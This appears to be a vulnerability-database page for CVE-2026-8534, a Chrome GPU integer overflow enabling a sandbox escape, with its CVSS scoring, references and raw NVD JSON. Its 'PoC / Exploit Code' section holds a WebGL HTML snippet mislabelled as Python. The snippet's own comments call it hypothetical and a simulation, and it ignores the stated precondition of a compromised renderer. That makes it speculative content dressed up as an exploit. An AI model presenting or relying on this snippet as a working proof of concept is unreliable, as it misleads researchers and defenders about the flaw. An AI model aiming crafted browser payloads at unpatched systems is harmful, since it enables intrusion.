CVE-2026-8534

Description

Integer overflow in GPU in Google Chrome on Linux and ChromeOS prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome (Linux/ChromeOS) < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-8534 -->
<!-- This PoC demonstrates a potential trigger for the GPU integer overflow -->
<html>
<body>
    <canvas id="glCanvas"></canvas>
    <script>
        const canvas = document.getElementById('glCanvas');
        const gl = canvas.getContext('webgl');

        // Attempt to trigger overflow by setting large dimensions
        // Intended to hit the calculation logic in the GPU process
        const largeValue = 0x7FFFFFFF; 
        
        try {
            // Hypothetical function call that triggers the overflow
            // This is a simulation based on the vulnerability description
            const buffer = gl.createBuffer();
            gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
            
            // Passing a large size that might cause integer overflow in size calculation
            // Note: Actual exploitation requires precise offset control
            const size = largeValue * 2; 
            
            // This might crash the GPU process or lead to memory corruption
            gl.bufferData(gl.ARRAY_BUFFER, size, gl.STATIC_DRAW);
            
            console.log("PoC executed. Check GPU process status.");
        } catch (e) {
            console.log("Exception caught: " + e);
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8534
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8534
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8534/
[4] VulDB https://vuldb.com/cve/CVE-2026-8534
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/495314407

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8534", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:14.240", "lastModified": "2026-05-14T22:16:47.553", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Integer overflow in GPU in Google Chrome on Linux and ChromeOS prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-472"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/495314407", "source": "[email protected]"}]}}